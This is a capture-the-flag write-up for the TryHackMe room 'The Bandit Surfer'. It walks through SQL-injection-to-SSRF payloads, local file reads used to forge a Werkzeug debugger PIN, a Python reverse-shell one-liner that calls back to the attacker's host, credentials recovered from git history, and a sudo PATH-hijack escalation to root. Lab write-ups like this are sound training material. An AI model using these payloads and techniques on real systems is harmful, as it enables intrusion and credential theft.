Information
Room
Name: The Bandit Surfer
Profile: tryhackme.com
Difficulty: Hard
Description : The Bandit Yeti is surfing to town.
This is the Side Quest Challenge 4 of Advent of Cyber '23 Side Quest (advanced bonus challenges alongside Advent of Cyber 2023 ).
Write-up
Overview
Install tools used in this WU on BlackArch Linux:
1 $ sudo pacman -S nmap ffuf nuclei ruby curl python
Challenge
Network enumeration
Port and service scan with nmap:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 # Nmap 7.94 scan initiated Sun Jan 28 17:57:18 2024 as: nmap -sSVC -T4 -p- -v --open --reason -oA nmap 10.10.69.64 Nmap scan report for 10.10.69.64 Host is up, received echo-reply ttl 63 (0.14s latency). Not shown: 65509 closed tcp ports (reset), 24 filtered tcp ports (no-response) Some closed ports may be reported as filtered due to --defeat-rst-ratelimit PORT STATE SERVICE REASON VERSION 22/tcp open ssh syn-ack ttl 63 OpenSSH 8.2p1 Ubuntu 4ubuntu0.9 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 3072 e8:43:37:a0:ac:a6:22:57:53:00:6d:75:51:db:bc:a9 (RSA) | 256 25:16:18:74:8c:06:55:16:7e:20:84:89:ae:90:9a:f6 (ECDSA) |_ 256 fc:0b:0f:e2:c0:00:bb:89:a1:8f:de:71:9d:ad:d1:63 (ED25519) 8000/tcp open http-alt syn-ack ttl 63 Werkzeug/3.0.0 Python/3.8.10 | http-methods: |_ Supported Methods: GET OPTIONS HEAD |_http-title: The BFG | fingerprint-strings: | FourOhFourRequest: | HTTP/1.1 404 NOT FOUND | Server: Werkzeug/3.0.0 Python/3.8.10 | Date: Sun, 28 Jan 2024 16:58:18 GMT | Content-Type: text/html; charset=utf-8 | Content-Length: 207 | Connection: close | <!doctype html> | <html lang=en> | <title>404 Not Found</title> | <h1>Not Found</h1> | <p>The requested URL was not found on the server. If you entered the URL manually please check your spelling and try again.</p> | GetRequest: | HTTP/1.1 200 OK | Server: Werkzeug/3.0.0 Python/3.8.10 | Date: Sun, 28 Jan 2024 16:58:12 GMT | Content-Type: text/html; charset=utf-8 | Content-Length: 1752 | Connection: close | <!DOCTYPE html> | <html lang="en"> | <head> | <meta charset="UTF-8"> | <meta name="viewport" content="width=device-width, initial-scale=1.0"> | <title>The BFG</title> | <style> | Reset margins and paddings for the body and html elements */ | html, body { | margin: 0; | padding: 0; | body { | background-image: url('static/imgs/snow.gif'); | background-size: cover; /* Adjust the background size */ | background-position: center top; /* Center the background image vertically and horizontally */ | display: flex; | flex-direction: column; | justify-content: center; |_ align-items: center; |_http-server-header: Werkzeug/3.0.0 Python/3.8.10 1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service : ... # Nmap done at Sun Jan 28 17:59:45 2024 -- 1 IP address (1 host up) scanned in 147.35 seconds
Web discovery
There is a web application available at http://10.10.69.64:8000/ that offers to download images.
The download links are like /download?id=1
.
If asking for an invalid ID (e.g. /download?id=0
), we get an error, reaveling information about the technology stack and the configuration:
Language: Python
Web framework: Flask
WSGI: Werkzeug
Python version: 3.8
Example of absolute path: /home/mcskidy/.local/lib/python3.8/site-packages/flask/app.py
Username: mcskidy
Web fuzzing
We can try to enumerate all valid image ID to see if some that are not included on the page exist.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 ➜ ruby -e 'puts (1..20).to_a' | ffuf -u http://10.10.69.64:8000/download\?id\=FUZZ -w - ... ________________________________________________ :: Method : GET :: URL : http://10.10.69.64:8000/download?id=FUZZ :: Wordlist : FUZZ: - :: Follow redirects : false :: Calibration : false :: Timeout : 10 :: Threads : 40 :: Matcher : Response status: 200,204,301,302,307,401,403,405,500 ________________________________________________ 5 [Status: 500, Size: 11970, Words: 1820, Lines: 197, Duration: 73ms] 8 [Status: 500, Size: 11970, Words: 1820, Lines: 197, Duration: 145ms] 9 [Status: 500, Size: 11970, Words: 1820, Lines: 197, Duration: 151ms] 14 [Status: 500, Size: 11970, Words: 1820, Lines: 197, Duration: 166ms] 6 [Status: 500, Size: 11970, Words: 1820, Lines: 197, Duration: 167ms] 13 [Status: 500, Size: 11970, Words: 1820, Lines: 197, Duration: 172ms] 12 [Status: 500, Size: 11970, Words: 1820, Lines: 197, Duration: 246ms] 20 [Status: 500, Size: 11970, Words: 1820, Lines: 197, Duration: 198ms] 7 [Status: 500, Size: 11970, Words: 1820, Lines: 197, Duration: 187ms] 10 [Status: 500, Size: 11970, Words: 1820, Lines: 197, Duration: 159ms] 17 [Status: 500, Size: 11970, Words: 1820, Lines: 197, Duration: 187ms] 15 [Status: 500, Size: 11970, Words: 1820, Lines: 197, Duration: 138ms] 11 [Status: 500, Size: 11970, Words: 1820, Lines: 197, Duration: 151ms] 19 [Status: 500, Size: 11970, Words: 1820, Lines: 197, Duration: 233ms] 16 [Status: 500, Size: 11970, Words: 1820, Lines: 197, Duration: 198ms] 1 [Status: 200, Size: 33017, Words: 2560, Lines: 223, Duration: 246ms] 2 [Status: 200, Size: 71551, Words: 3093, Lines: 301, Duration: 126ms] 3 [Status: 200, Size: 69873, Words: 8965, Lines: 596, Duration: 166ms] 18 [Status: 500, Size: 11970, Words: 1820, Lines: 197, Duration: 523ms] 4 [Status: 200, Size: 2305908, Words: 9820, Lines: 8254, Duration: 301ms] :: Progress: [20/20] :: Job [1/1] :: 7 req/sec :: Duration: [0:00:03] :: Errors: 0 ::
So outside ID 1-3 there is an ID 4.
1 wget http://10.10.69.64:8000/download\?id =4
This is an image with wanted artic bandits (useless).
There are at least 3 ways to find the werkzeug debugger console (http://10.10.69.64:8000/console ):
Launch nuclei
(nuclei -u http://10.10.69.64:8000
) and the module werkzeug-debugger-detect
will find it
Fuzz with ffuf
(ffuf -u http://10.10.69.64:8000/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories-lowercase.txt
)
From the previous error message we know there is werkzeug so try for some common misconfiguration
Web exploitation - SQLi and SSRF
Unfortunattely, the console is protected by a PIN code.
Metasploit exploit/multi/http/werkzeug_debug_rce
is not working so here werkzeug must be > 0.10.
In that case, we can read on Hacktricks that a if we have a LFD (local file disclosure) we could have the information required to craft the PIN code.
We need to find a LFD first.
On the download page, if we inject a single quote (/download?id='
) we get a SQL error (MySQL), so there is a potential for SQL injection.
With the following payload we have a SSRF ' UNION SELECT "http://10.18.17.12:7000"-- -
.
1 2 ruby -run -ehttpd ~/Public -p7000 curl 'http://10.10.69.64:8000/download?id=%27%20UNION%20SELECT%20"http://10.18.17.12:7000"--%20-' --output -
We can use the SSRF for LDF too (%27%20UNION%20SELECT%20"file:///etc/os-release"--%20-
).
1 2 3 4 5 6 7 8 9 10 11 12 13 ➜ curl 'http://10.10.69.64:8000/download?id=%27%20UNION%20SELECT%20"file:///etc/os-release"--%20-' --output - NAME="Ubuntu" VERSION="20.04.6 LTS (Focal Fossa)" ID=ubuntu ID_LIKE=debian PRETTY_NAME="Ubuntu 20.04.6 LTS" VERSION_ID="20.04" HOME_URL="https://www.ubuntu.com/" SUPPORT_URL="https://help.ubuntu.com/" BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/" PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy" VERSION_CODENAME=focal UBUNTU_CODENAME=focal
Web exploitation - LFD to leak werkzeug PIN code
We already know the probably_public_bits
from the previous error message. Now let's retrieve teh information for private_bits
.
In /proc/net/arp
we can find the network interface name.
1 2 3 ➜ curl 'http://10.10.69.64:8000/download?id=%27%20UNION%20SELECT%20"file:///proc/net/arp"--%20-' --output - IP address HW type Flags HW address Mask Device 10.10.0.1 0x1 0x2 02:c8:85:b5:5a:aa * eth0
We can find the AMC address of eth0 in /sys/class/net/eth0/address
.
1 2 ➜ curl 'http://10.10.69.64:8000/download?id=%27%20UNION%20SELECT%20"file:///sys/class/net/eth0/address"--%20-' --output - 02:a7:a9:9f:ad:f3
Using ruby we can convert if from hexadecimal to decimal.
1 2 3 4 '02:a7:a9:9f:ad:f3' .gsub(':' , '' )0x02a7a99fadf3
Let's get the machine ID.
1 2 ➜ curl 'http://10.10.69.64:8000/download?id=%27%20UNION%20SELECT%20"file:///etc/machine-id"--%20-' --output - aee6189caee449718070b58132f2e4ba
We can confirm the hash function required is SHA-1.
1 2 3 4 ➜ curl 'http://10.10.69.64:8000/download?id=%27%20UNION%20SELECT%20"file:///home/mcskidy/.local/lib/python3.8/site-packages/werkzeug/debug/__init__.py"--%20-' --output - -s | grep hashlib import hashlib return hashlib.sha1(f"{pin} added salt".encode("utf-8", "replace")).hexdigest()[:12] h = hashlib.sha1()
Then we can launch the script to generater the PIN code and use it on the console http://10.10.69.64:8000/console .
1 2 ➜ python werkzeug-pin.py 917-190-257
Note: if not working, restart the machine and do it again. It may requires several attempts.
Shell acquisition
We can generate a reverse shell revshells.com (Python3 #2
).
1 import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.18.17.12" ,7777 ));os.dup2(s.fileno(),0 ); os.dup2(s.fileno(),1 );os.dup2(s.fileno(),2 );import pty; pty.spawn("/bin/bash" )
We can obtain the shell:
1 2 3 4 5 6 7 ➜ ncat -lvnp 7777 Ncat: Version 7.94 ( https://nmap.org/ncat ) Ncat: Listening on [::]:7777 Ncat: Listening on 0.0.0.0:7777 Ncat: Connection from 10.10.69.64:46292. mcskidy@proddb:~$ id uid=1000(mcskidy) gid=1000(mcskidy) groups=1000(mcskidy)
User flag
1 2 mcskidy@proddb:~$ cat user.txt THM{EDITED}
Note: We could have read it with the SQLi / SSRF / LFD.
EoP (elevation of privilege) part 1
The source code is versionned.
1 2 3 4 5 6 mcskidy@proddb:~/app$ ls -lhA total 16K -rw-rw-r-- 1 mcskidy mcskidy 1.5K Oct 19 20:03 app.py drwxrwxr-x 8 mcskidy mcskidy 4.0K Nov 2 15:41 .git drwxrwxr-x 3 mcskidy mcskidy 4.0K Oct 19 19:58 static drwxrwxr-x 2 mcskidy mcskidy 4.0K Nov 2 15:29 templates
Let's see the history of the file app.py
.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 mcskidy@proddb:~/app$ git --no-pager log -p app.py … commit c1a0b22905cc0da0b5ad88c124125efa626013af Author: mcskidy <mcskidy@proddb> Date: Thu Oct 19 20:02:57 2023 +0000 Minor update diff --git a/app.py b/app.py index 8d05622..5765c7d 100644 --- a/app.py +++ b/app.py @@ -10,7 +10,7 @@ app = Flask(__name__, static_url_path='/static') # MySQL configuration app.config['MYSQL_HOST'] = 'localhost' app.config['MYSQL_USER'] = 'mcskidy' -app.config['MYSQL_PASSWORD'] = 'EDITED' +app.config['MYSQL_PASSWORD'] = 'fSXT8582GcMLmSt6' app.config['MYSQL_DB'] = 'elfimages' mysql = MySQL(app) … commit e9855c8a10cb97c287759f498c3314912b7f4713 Author: mcskidy <mcskidy@proddb> Date: Thu Oct 19 20:01:41 2023 +0000 Changed MySQL user diff --git a/app.py b/app.py index 81fd2d2..5f5ff6e 100644 --- a/app.py +++ b/app.py @@ -9,8 +9,8 @@ app = Flask(__name__, static_url_path='/static') # MySQL configuration app.config['MYSQL_HOST'] = 'localhost' -app.config['MYSQL_USER'] = 'root' -app.config['MYSQL_PASSWORD'] = 'w6UV3tjxAuKCUWtP' +app.config['MYSQL_USER'] = 'mcskidy' +app.config['MYSQL_PASSWORD'] = 'EDITED' app.config['MYSQL_DB'] = 'elfimages' mysql = MySQL(app)
Credential stuffing
Here are all the MySQL credentials we can try for PAM:
mcskidy
/ fSXT8582GcMLmSt6
❌
mcskidy
/ EDITED
✅
root
/ w6UV3tjxAuKCUWtP
❌
EoP (elevation of privilege) part 2
With the found credentials we can see what commands mcskidy
can run with sudo
.
1 2 3 4 5 6 7 mcskidy@proddb:~$ sudo -l Matching Defaults entries for mcskidy on proddb: env_reset, mail_badpass, secure_path=/home/mcskidy\:/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin User mcskidy may run the following commands on proddb: (root) /usr/bin/bash /opt/check.sh
Let's see what /opt/check.sh
can offer.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 mcskidy@proddb:~$ cat /opt/check.sh #!/bin/bash . /opt/.bashrc cd /home/mcskidy/ WEBSITE_URL="http://127.0.0.1:8000" response=$(/usr/bin/curl -s -o /dev/null -w "%{http_code}" $WEBSITE_URL) # Check the HTTP response code if [ "$response" == "200" ]; then /usr/bin/echo "Website is running: $WEBSITE_URL" else /usr/bin/echo "Website is not running: $WEBSITE_URL" fi
/opt/.bashrc
is sourced but we can't source it.
1 2 mcskidy@proddb:~$ ls -lh /opt/.bashrc -rw-r--r-- 1 root root 3.7K Oct 19 06:28 /opt/.bashrc
The sudo configuration show we have /home/mcskidy
in the secure_path
.
It's weird to have a .bashrc
in /opt
and to source it. As the file is long let's compare it with another to see if has been changed.
1 2 3 4 5 mcskidy@proddb:~$ diff /opt/.bashrc /home/mcskidy/.bashrc 4c4 < enable -n [ # ] --- >
Shells have bilt-in commands like echo
, history
, pwd
, test
and many others. With -n
option, enable
will disable the built-in command and try to load them from $PATH
. With [ # ]
, all built-ins are disabled. But what good does it do to us since all binaries are with absolute path?
The tricky part is that in if [ "$response" == "200" ]; then
the braquets are a binary /usr/bin/[
. So now that it's loaded from PATH we can create a [
binary in /home/mcskidy/
. You can learn about it on HackTricks - Bypass Linux Restrictions .
1 2 3 4 5 6 7 mcskidy@proddb:~$ echo 'bash' > ~/[ mcskidy@proddb:~$ chmod +x ~/[ mcskidy@proddb:~$ sudo -u root /usr/bin/bash /opt/check.sh [sudo] password for mcskidy: 127.0.0.1 - - [28/Jan/2024 21:40:02] "GET / HTTP/1.1" 200 - root@proddb:/home/mcskidy# id uid=0(root) gid=0(root) groups=0(root)
Root flag
1 2 root@proddb:~# cat /root/root.txt THM{EDITED}
Yeti flag
1 2 root@proddb:~# cat /root/yetikey4.txt 4-EDITED